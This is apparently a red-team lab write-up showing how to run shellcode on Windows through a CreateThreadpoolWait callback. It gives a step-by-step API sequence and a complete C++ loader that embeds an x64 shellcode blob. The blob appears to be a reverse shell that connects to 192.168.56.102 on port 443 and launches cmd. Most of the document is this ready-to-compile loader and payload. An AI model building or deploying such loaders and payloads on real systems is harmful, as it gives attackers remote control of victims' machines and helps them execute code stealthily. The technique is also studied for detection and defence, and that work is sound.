# Shellcode Execution via CreateThreadpoolWait

This is a quick lab to explore the sequence of APIs, that can execute shellcode by invoking a callback function passed to `CreateThreadpoolWait`.

## Technique Overview

1. `CreateEvent` is used to create an event object with a `Signaled` state
2. RWX memory for the shellcode is allocated with `VirtualAlloc` and the shellcode is written there
3. `CreateThreadpoolWait` is used to create a wait object. 1st argument of the function is a callback function, that will be called once the wait ends (immediately in our case, since our waitable event is in the `Signaled` state from the start). We will pass the address of our shellcode (allocated in step 2) as the callback function
4. `SetThreadpoolWait` is used to set wait object to the wait object created in step 3
5. `WaitForSingleObject` is used to wait for the waitable object to become `Signaled`, but since our event (waitable) object was created with a `Signaled` state in step 1, our callback function specified in step 3 is called and the shellcode is executed right away:

![](/files/-MByeqLKxcH_eI1owS4Q)

## Code

```cpp
#include <windows.h>
#include <threadpoolapiset.h>

unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";


int main()
{
	HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
	LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));

	PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
	SetThreadpoolWait(threadPoolWait, event, NULL);
	WaitForSingleObject(event, INFINITE);
	
	return 0;
}
```

## References

<https://gist.github.com/alfarom256/180c90c2bc0ae6bfa5d109d822ea77a4>


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